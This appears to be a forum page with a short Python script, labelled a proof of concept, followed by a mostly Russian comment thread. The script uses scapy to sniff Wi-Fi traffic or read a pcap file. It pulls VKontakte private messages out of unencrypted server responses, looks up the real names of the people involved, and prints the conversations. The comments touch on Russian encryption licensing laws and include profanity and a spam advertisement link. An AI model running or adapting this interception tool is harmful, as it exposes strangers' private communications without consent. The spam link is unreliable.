- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
from scapy.all import *
import urllib2
import json
from time import sleep
from urlparse import urlparse
import os
import argparse
import sys
ts, num, friend_id, time, msg, msg_sended=0, 0, 0, 0, '', ''
# This is just PoC :)
# Special bytes, with them we can detect type of message
msg_recive = [49, 17] # Add here smth by yourself, if you detect new varibles
msg_send = [51, 3, 19] # Add here smth by yourself, if you detect new varibles
ap = argparse.ArgumentParser(epilog="Example: python "+sys.argv[0]+" -i wlan0", prog=sys.argv[0], formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
ap.add_argument('--interface', '-i', nargs=1, help="Interface for listening packets")
ap.add_argument('--pcap', '-p', nargs=1, help="Pcap file for parse")
opts = ap.parse_args()
pcts = list()
def show_msgs(pack):
try:
if '{"ts":' in pack.load: # find packet with response from vk server
answ = json.loads(pack.load.split('\r\n\r\n')[1][:-2]) # load data as json
for i in answ['updates']:
if i[0] == 4: # we need array with msg data
num, friend_id, time, msg = i[1], i[3], i[4], i[6] # parse data
if msg in pcts:
pass
else:
# detect message was from/to via special bytes
pcts.append(msg)
if i[2] in msg_recive:
print '['+get_name_by_id(friend_id)+'] => ['+pack[IP].dst+']: '+msg
elif i[2] in msg_send:
print '['+pack[IP].dst+']'+' => ['+get_name_by_id(friend_id)+']: '+msg
if len(pcts) > 10:
pcts.pop(0)
#print test
except: pass
def get_name_by_id(id): # just print real name from vk by id
get_name = json.loads(urllib2.urlopen('https://api.vk.com/method/getProfiles?uids='+str(id)).readlines()[0])
friend_name = get_name["response"][0]["first_name"]+' '+get_name["response"][0]["last_name"]
return friend_name
try:
if opts.pcap != None:
for i in PcapReader(opts.pcap[0]):
show_msgs(i)
if opts.interface[0] !=None:
sniff(iface=opts.interface[0], prn=show_msgs)
except:
pass
gost 20.10.2015 15:30 # +2
bormand 20.10.2015 17:42 # 0
bormand 20.10.2015 17:47 # 0
gost 20.10.2015 17:51 # 0
https://github.com/HeadLightSecurity/vkmitm, есличо.
3_14dar 20.10.2015 17:53 # 0
bormand 20.10.2015 18:07 # 0
bormand 20.10.2015 18:44 # 0
gost 20.10.2015 18:49 # 0
inkanus-gray 20.10.2015 19:33 # +3
Помнится, в начале нулевых был закон, запрещающий использовать зашифрованные соединения без лицензии, выданной ФАПСИ. Потом ФАПСИ расформировали и про этот параноидальный закон забыли. Но похоже, что кто-то не теряет надежду вернуть этот закон в силу либо просто нагнетает.
3_14dar 20.10.2015 22:21 # +2
>Помнится, в начале нулевых был закон, запрещающий использовать зашифрованные соединения без лицензии, выданной ФАПСИ.
ШТООО? Пруф.
inkanus-gray 20.10.2015 22:56 # +1
http://www.consultant.ru/document/cons_doc_LAW_128739/1aad6fe079cd2555c9c329d872dfca33764f738f/
И не отменён старый приказ:
https://ru.wikisource.org/wiki/Приказ_ФСБ_РФ_от_9_февраля_2005_г._№_66
P.S. А вот тот самый закон из 90-х:
http://www.e-nigma.ru/stat/u-334/
3_14dar 20.10.2015 19:02 # 0
gost 20.10.2015 19:35 # 0
1024-- 20.10.2015 21:00 # 0
Все статьи читайте.
gost 20.10.2015 21:04 # +2
bormand 20.10.2015 21:04 # +1
Stallman 20.10.2015 21:06 # 0
bormand 20.10.2015 21:08 # 0
1024-- 20.10.2015 21:10 # 0
А на самом деле, это просто обострение экмаскриптянки у Stallmanа.
Stallman 20.10.2015 21:12 # +5
Vasiliy 20.10.2015 22:09 # +1
3_14dar 21.10.2015 08:07 # 0
Практически изначально там про всякоую нахуй не нужную еботу было
Vasiliy 21.10.2015 13:56 # +1
Все Q&A скатываются в сранное говно.
3_14dar 21.10.2015 16:35 # 0
С каких пор кабр - QA?
1024-- 21.10.2015 20:18 # +4
Надо так: С каких пор хабр - не QA?
С осени 2013го, когда вопросы-ответы выгнали в тостер.
3_14dar 22.10.2015 01:23 # +1
guest 14.11.2015 19:11 # 0
bormand 20.10.2015 19:39 # +2
3_14dar 20.10.2015 17:55 # 0
guest 13.01.2017 00:30 # 0
можно купить у нас <a href=http://sanwayopt.ru/truby-i-fitingi>полиэтиленовые трубы и фитинги. </a>
inkanus-gray 13.01.2017 12:09 # 0
barop 13.01.2017 14:19 # 0